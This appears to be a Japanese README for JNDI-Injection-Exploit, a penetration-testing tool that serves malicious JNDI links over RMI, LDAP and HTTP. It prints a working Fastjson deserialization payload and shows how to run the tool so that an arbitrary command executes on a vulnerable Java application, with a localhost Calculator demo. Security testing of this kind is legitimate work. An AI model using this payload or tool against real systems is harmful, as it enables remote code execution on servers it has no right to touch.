
JNDIインジェクションテストツール(JNDIリンクを生成し、複数のサーバーを起動してJNDIインジェクション脆弱性(Jackson、Fastjsonなど)を悪用するためのツール)
JNDI-Injection-Exploitは、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することで、動作可能なJNDIリンクを生成し、バックグラウンドサービスを提供するツールです。RMIサーバーとLDAPサーバーは marshalsec をベースにしており、HTTPサーバーと連携するようにさらに修正されています。
このツールを使用するとJNDIリンクを取得でき、それらのリンクを POC に挿入して脆弱性をテストできます。
例えば、これはFastjsonの脆弱性POCです:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
"rmi://127.0.0.1:1099/Object" をJNDI-Injection-Exploitで生成されたリンクに置き換えて、脆弱性をテストできます。
すべての情報とコードは、教育目的および/または自身のシステムにおけるこれらの脆弱性のテストのためにのみ提供されます。
以下のように実行します:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
ここで:
-C - リモートのクラスファイルで実行されるコマンド。
(オプション、デフォルトのコマンドは "open /Applications/Calculator.app")
-A - あなたのサーバーのアドレス。IPアドレスまたはドメイン名の可能性があります。
(オプション、デフォルトのアドレスは最初のネットワークインターフェースのアドレス)
注意点:
サーバーのポート(1099、1389、8180)が利用可能であることを確認してください。
または、run.ServerStartクラスの26~28行目でデフォルトポートを変更できます。
コマンドは Runtime.getRuntime().exec() にパラメータとして渡されるため、
コマンドがexec()メソッドで動作可能であることを確認する必要があります。
"bash -c ...." のようなbashでのコマンドは、二重引用符で囲む必要があります。
ローカルデモ:
以下のようにツールを起動:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
スクリーンショット:

ステップ1で生成されたrmi://ADDRESS/jfxllcのようなJNDIリンクを、JNDIインジェクションによって攻撃可能な脆弱性アプリケーションに注入すると仮定します。
この例では、次のようになります:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
このコードを実行すると、コマンドが実行され、
シェルにログが出力されます:

以下の2つの方法のうちいずれかを選択してjarを取得できます。
リリース から最新のjarをダウンロードします。
ソースコードをクローンしてローカルでビルドします(Java 1.8+ および Maven 3.x+ が必要)。
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests